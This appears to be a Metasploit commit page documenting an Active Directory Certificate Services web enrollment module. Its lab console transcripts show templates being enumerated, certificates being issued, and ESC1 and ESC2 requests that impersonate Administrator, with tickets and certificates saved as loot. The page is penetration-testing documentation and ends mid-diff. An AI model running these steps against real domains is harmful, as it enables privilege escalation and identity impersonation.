Merge pull request #20752 from bwatters-r7/feature/certificate-web-enrollment

Add Authenticating Web Enrollment module for AD/CS
This commit is contained in:
Spencer McIntyre
2026-04-06 15:27:28 -04:00
committed by GitHub
16 changed files with 3061 additions and 1020 deletions
@@ -0,0 +1,485 @@
## Vulnerable Application
This module makes authenticated requests to an Active Directory Certificate Services Web enrollment portal to gain
a list of available templates and/or generate certificates based on the available templates.
This is the same basic action as `auxiliary/server/relay/esc8` but rather then relaying NTLM credentials, we are
authenticating with credentials we have.
## Verification Steps
### NTLM
1. Install and configure the application
* See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
2. Start `msfconsole`
2. Do: `use auxiliary/admin/http/web_enrollment_cert`
3. Set the `RHOSTS` option to the AD CS Web Enrollment server
4. Set the `HTTP::Auth` option to `ntlm`
4. Set the `HttpUsername` option to a valid user
4. Set the `HttpPassword` option to a valid user password
4. Set `MODE`, `CERT_TEMPLATE`, and `TARGETURI` to the desired settings.
### Kerberos
1. Install and configure the application
* See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
2. Start `msfconsole`
2. Do: `use auxiliary/admin/http/web_enrollment_cert`
3. Set the `RHOSTS` option to the AD CS Web Enrollment server
4. Set the `HTTP::Auth` option to `kerberos`
5. Set the `DOMAIN` option to the FQDN
6. Set the `DomainControllerRhost` if it is not available through DNS
4. Set the `HttpUsername` option to a valid user
4. Set the `HttpPassword` option to a valid user password
4. Set `MODE`, `CERT_TEMPLATE`, and `TARGETURI` to the desired settings.
### ESC1
1. Install and configure the application with ESC1 vulnerable template
* https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
2. Follow steps above based on authentication type
4. Set `MODE` to `SPECIFIC_TEMPLATE`
3. Set `CERT_TEMPLATE` to a template vulnerable to ESC1
4. Set `ALT_UPN` to the desired User
5. Set `ALT_SID` to the desired SID, if necessary
6. Set `ALT_DNS` if required
### ESC2
1. Install and configure the application with ESC2 vulnerable template
* https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
2. Follow steps above based on authentication type
4. Set `MODE` to `SPECIFIC_TEMPLATE`
3. Set `CERT_TEMPLATE` to a template vulnerable to ESC2
4. Set `ON_BEHALF_OF` to the desired User
5. Set `PFX` to the desired certificate file
## Options
### MODE
The issue mode. This controls what the module will do once an authenticated session is established to the Web Enrollment
server. Must be one of the following options:
* ALL: Enumerate all available certificate templates and then issue each of them
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates
available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and
include `Machine` (AKA `Computer`) and `DomainController`
* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option
### CERT_TEMPLATE
The template to issue if MODE is SPECIFIC_TEMPLATE.
## Scenarios
### Windows 2019
#### NTLM with MODE ALL
```msf
msf > use auxiliary/admin/http/web_enrollment_cert
msf auxiliary(admin/http/web_enrollment_cert) > set rhost 10.5.132.180
rhost => 10.5.132.180
msf auxiliary(admin/http/web_enrollment_cert) > set httpusername Administrator
httpusername => Administrator
msf auxiliary(admin/http/web_enrollment_cert) > set httppassword v3Mpassword
httppassword => v3Mpassword
msf auxiliary(admin/http/web_enrollment_cert) > set DOMAIN EXAMPLE
DOMAIN => EXAMPLE
msf auxiliary(admin/http/web_enrollment_cert) > set MODE ALL
MODE => ALL
msf auxiliary(admin/http/web_enrollment_cert) > set HTTP::AUTH ntlm
HTTP::AUTH => ntlm
msf auxiliary(admin/http/web_enrollment_cert) > show options
Module options (auxiliary/admin/http/web_enrollment_cert):
Name Current Setting Required Description
---- --------------- -------- -----------
ALT_DNS no Alternative certificate DNS
ALT_SID no Alternative object SID
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
HttpPassword v3Mpassword no The HTTP password to specify for authentication
HttpUsername Administrator no The HTTP username to specify for authentication
MODE ALL yes The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
PFX no Certificate to request on behalf of
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5
h, sapni, socks4, http, socks5
RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /certsrv/ yes The URI for the cert server.
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
When MODE is SPECIFIC_TEMPLATE:
Name Current Setting Required Description
---- --------------- -------- -----------
CERT_TEMPLATE no The template to issue if MODE is SPECIFIC_TEMPLATE.
View the full module info with the info, or info -d command.
msf auxiliary(admin/http/web_enrollment_cert) > run
[*] Retrieving available template list, this may take a few minutes
[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
[+] Available Certificates for EXAMPLE\\Administrator on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
[+] Certificate generated using template User and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template User saved to /home/tmoose/.msf4/loot/20260116142051_default_10.5.132.180_windows.ad.cs_263748.pfx
[+] Certificate generated using template EFS and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template EFS saved to /home/tmoose/.msf4/loot/20260116142053_default_10.5.132.180_windows.ad.cs_150446.pfx
[+] Certificate generated using template Administrator and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template Administrator saved to /home/tmoose/.msf4/loot/20260116142055_default_10.5.132.180_windows.ad.cs_586273.pfx
[+] Certificate generated using template EFSRecovery and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template EFSRecovery saved to /home/tmoose/.msf4/loot/20260116142057_default_10.5.132.180_windows.ad.cs_077399.pfx
[+] Certificate generated using template ESC16_1 and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template ESC16_1 saved to /home/tmoose/.msf4/loot/20260116142101_default_10.5.132.180_windows.ad.cs_832421.pfx
[+] Certificate generated using template ESC2-Template and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template ESC2-Template saved to /home/tmoose/.msf4/loot/20260116142102_default_10.5.132.180_windows.ad.cs_548200.pfx
[+] Certificate generated using template WebServer and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template WebServer saved to /home/tmoose/.msf4/loot/20260116142103_default_10.5.132.180_windows.ad.cs_191863.pfx
[+] Certificate generated using template SubCA and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template SubCA saved to /home/tmoose/.msf4/loot/20260116142105_default_10.5.132.180_windows.ad.cs_300086.pfx
[+] Certificate generated using template ESC1-Template and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116142106_default_10.5.132.180_windows.ad.cs_017489.pfx
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/http/web_enrollment_cert) >
```
#### Kerberos MODE:ALL
```msf
msf auxiliary(admin/http/web_enrollment_cert) > show options
Module options (auxiliary/admin/http/web_enrollment_cert):
Name Current Setting Required Description
---- --------------- -------- -----------
ALT_DNS no Alternative certificate DNS
ALT_SID no Alternative object SID
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
HttpPassword v3Mpassword no The HTTP password to specify for authentication
HttpUsername Administrator no The HTTP username to specify for authentication
MODE ALL yes The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
PFX no Certificate to request on behalf of
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5
h, sapni, socks4, http, socks5
RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /certsrv/ yes The URI for the cert server.
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
When MODE is SPECIFIC_TEMPLATE:
Name Current Setting Required Description
---- --------------- -------- -----------
CERT_TEMPLATE no The template to issue if MODE is SPECIFIC_TEMPLATE.
View the full module info with the info, or info -d command.
msf auxiliary(admin/http/web_enrollment_cert) > show advanced
Module advanced options (auxiliary/admin/http/web_enrollment_cert):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN example.com yes The domain to use for Windows authentication (Must be FQDN
if HTTP:Auth is Kerberos)
DigestAlgorithm SHA256 yes The digest algorithm to use (Accepted: SHA1, SHA256)
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to
false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HTTP::Auth kerberos yes The Authentication mechanism to use (Accepted: auto, ntlm,
kerberos, plaintext, none)
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing
headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to d
isable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
SSLKeyLogFile no The SSL key log file
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and S
SL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3
, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/5.0 (Macintosh; Intel Mac no The User-Agent header to use for all requests
OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/131.0
.0.0 Safari/537.36
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
When HTTP::Auth is kerberos:
Name Current Setting Required Description
---- --------------- -------- -----------
DomainControllerRhost 10.5.132.180 no The resolvable rhost for the Domain Controller
HTTP::Krb5Ccname no The ccache file to use for kerberos authentication
HTTP::KrbOfferedEncryptionType AES256,AES128,RC4-HMAC,DES-CBC yes Kerberos encryption types to offer
s -MD5,DES3-CBC-SHA1
HTTP::Rhostname WIN-DRC9HCDIMAT no The rhostname which is required for kerberos - the SPN
KrbCacheMode read-write yes Kerberos ticket cache storage mode (Accepted: none, re
ad-only, write-only, read-write)
View the full module info with the info, or info -d command.
msf auxiliary(admin/http/web_enrollment_cert) > run
[*] Retrieving available template list, this may take a few minutes
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143502_default_10.5.132.180_mit.kerberos.cca_557407.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143502_default_10.5.132.180_mit.kerberos.cca_545138.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
[+] Available Certificates for on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143520_default_10.5.132.180_mit.kerberos.cca_606180.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143520_default_10.5.132.180_mit.kerberos.cca_023162.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template User and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143537_default_10.5.132.180_mit.kerberos.cca_548243.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143537_default_10.5.132.180_mit.kerberos.cca_843349.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template User saved to /home/tmoose/.msf4/loot/20260116143538_default_10.5.132.180_windows.ad.cs_760252.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143541_default_10.5.132.180_mit.kerberos.cca_236912.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143541_default_10.5.132.180_mit.kerberos.cca_237890.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template EFS and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143543_default_10.5.132.180_mit.kerberos.cca_360144.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143543_default_10.5.132.180_mit.kerberos.cca_009299.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template EFS saved to /home/tmoose/.msf4/loot/20260116143544_default_10.5.132.180_windows.ad.cs_150360.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143546_default_10.5.132.180_mit.kerberos.cca_444407.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143547_default_10.5.132.180_mit.kerberos.cca_460069.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template Administrator and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143548_default_10.5.132.180_mit.kerberos.cca_941754.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143549_default_10.5.132.180_mit.kerberos.cca_484741.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template Administrator saved to /home/tmoose/.msf4/loot/20260116143549_default_10.5.132.180_windows.ad.cs_088506.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143552_default_10.5.132.180_mit.kerberos.cca_665940.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143552_default_10.5.132.180_mit.kerberos.cca_324874.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template EFSRecovery and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_mit.kerberos.cca_559229.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_mit.kerberos.cca_295382.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template EFSRecovery saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_windows.ad.cs_477946.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143556_default_10.5.132.180_mit.kerberos.cca_645978.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143557_default_10.5.132.180_mit.kerberos.cca_838211.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template ESC16_1 and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143558_default_10.5.132.180_mit.kerberos.cca_485891.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143559_default_10.5.132.180_mit.kerberos.cca_709913.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template ESC16_1 saved to /home/tmoose/.msf4/loot/20260116143559_default_10.5.132.180_windows.ad.cs_818976.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143601_default_10.5.132.180_mit.kerberos.cca_952232.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143601_default_10.5.132.180_mit.kerberos.cca_169000.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template ESC2-Template and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143603_default_10.5.132.180_mit.kerberos.cca_042983.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143603_default_10.5.132.180_mit.kerberos.cca_512322.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template ESC2-Template saved to /home/tmoose/.msf4/loot/20260116143604_default_10.5.132.180_windows.ad.cs_206522.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143607_default_10.5.132.180_mit.kerberos.cca_893032.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143607_default_10.5.132.180_mit.kerberos.cca_156631.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template WebServer and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143608_default_10.5.132.180_mit.kerberos.cca_982799.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143609_default_10.5.132.180_mit.kerberos.cca_247412.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template WebServer saved to /home/tmoose/.msf4/loot/20260116143609_default_10.5.132.180_windows.ad.cs_955795.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143612_default_10.5.132.180_mit.kerberos.cca_119902.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143613_default_10.5.132.180_mit.kerberos.cca_847610.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template SubCA and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143614_default_10.5.132.180_mit.kerberos.cca_417480.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143615_default_10.5.132.180_mit.kerberos.cca_766015.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template SubCA saved to /home/tmoose/.msf4/loot/20260116143615_default_10.5.132.180_windows.ad.cs_888697.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143617_default_10.5.132.180_mit.kerberos.cca_866496.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143617_default_10.5.132.180_mit.kerberos.cca_528295.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template ESC1-Template and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143619_default_10.5.132.180_mit.kerberos.cca_103101.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143619_default_10.5.132.180_mit.kerberos.cca_871753.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116143620_default_10.5.132.180_windows.ad.cs_135453.pfx
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/http/web_enrollment_cert) >
```
# Kerberos, ESC1
```msf
msf auxiliary(admin/http/web_enrollment_cert) > set MODE QUERY_ONLY
MODE => QUERY_ONLY
msf auxiliary(admin/http/web_enrollment_cert) > run
[*] Retrieving available template list, this may take a few minutes
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144412_default_10.5.132.180_mit.kerberos.cca_605997.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144413_default_10.5.132.180_mit.kerberos.cca_011223.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
[+] Available Certificates for on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/http/web_enrollment_cert) > set httpusername msfuser
httpusername => msfuser
msf auxiliary(admin/http/web_enrollment_cert) > set httppassword v3Mpassword
httppassword => v3Mpassword
msf auxiliary(admin/http/web_enrollment_cert) > set mode SPECIFIC_TEMPLATE
mode => SPECIFIC_TEMPLATE
msf auxiliary(admin/http/web_enrollment_cert) > set cert_template ESC1-Template
cert_template => ESC1-Template
msf auxiliary(admin/http/web_enrollment_cert) > set ALT_UPN Administrator@example.com
ALT_UPN => Administrator@example.com
msf auxiliary(admin/http/web_enrollment_cert) > run
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144915_default_10.5.132.180_mit.kerberos.cca_142147.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144915_default_10.5.132.180_mit.kerberos.cca_645508.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template ESC1-Template and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144917_default_10.5.132.180_mit.kerberos.cca_079562.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144917_default_10.5.132.180_mit.kerberos.cca_912221.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116144918_default_10.5.132.180_windows.ad.cs_076676.pfx
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/http/web_enrollment_cert) >
```
# Kerberos, ESC2
```msf
msf auxiliary(admin/http/web_enrollment_cert) > show options
Module options (auxiliary/admin/http/web_enrollment_cert):
Name Current Setting Required Description
---- --------------- -------- -----------
ALT_DNS no Alternative certificate DNS
ALT_SID no Alternative object SID
ALT_UPN Administrator@example.com no Alternative certificate UPN (format: USER@DOMAIN)
HttpPassword v3Mpassword no The HTTP password to specify for authentication
HttpUsername msfuser no The HTTP username to specify for authentication
MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
PFX no Certificate to request on behalf of
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxi
es: socks5h, sapni, socks4, http, socks5
RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/bas
ics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /certsrv/ yes The URI for the cert server.
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
When MODE is SPECIFIC_TEMPLATE:
Name Current Setting Required Description
---- --------------- -------- -----------
CERT_TEMPLATE ESC1-Template no The template to issue if MODE is SPECIFIC_TEMPLATE.
View the full module info with the info, or info -d command.
msf auxiliary(admin/http/web_enrollment_cert) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf auxiliary(admin/http/web_enrollment_cert) > unset ALT_UPN
Unsetting ALT_UPN...
msf auxiliary(admin/http/web_enrollment_cert) > run
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150908_default_10.5.132.180_mit.kerberos.cca_798433.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150908_default_10.5.132.180_mit.kerberos.cca_355039.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template User and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150910_default_10.5.132.180_mit.kerberos.cca_649135.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150910_default_10.5.132.180_mit.kerberos.cca_950645.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template User saved to /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/http/web_enrollment_cert) > set PFX /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
PFX => /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
msf auxiliary(admin/http/web_enrollment_cert) > set ON_BEHALF_OF EXAMPLE\\Administrator
ON_BEHALF_OF => EXAMPLE\Administrator
msf auxiliary(admin/http/web_enrollment_cert) > set cert_template User
cert_template => User
msf auxiliary(admin/http/web_enrollment_cert) > run
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151145_default_10.5.132.180_mit.kerberos.cca_970115.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151145_default_10.5.132.180_mit.kerberos.cca_854009.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template User and
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_mit.kerberos.cca_332600.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_mit.kerberos.cca_241072.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for using template User saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_windows.ad.cs_115992.pfx
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/http/web_enrollment_cert) >
```
@@ -33,9 +33,60 @@ The template to issue if MODE is SPECIFIC_TEMPLATE.
## Scenarios
### Version and OS
### NTLM
```
msf auxiliary(server/relay/esc8) > show options
Module options (auxiliary/server/relay/esc8):
Name Current Setting Required Description
---- --------------- -------- -----------
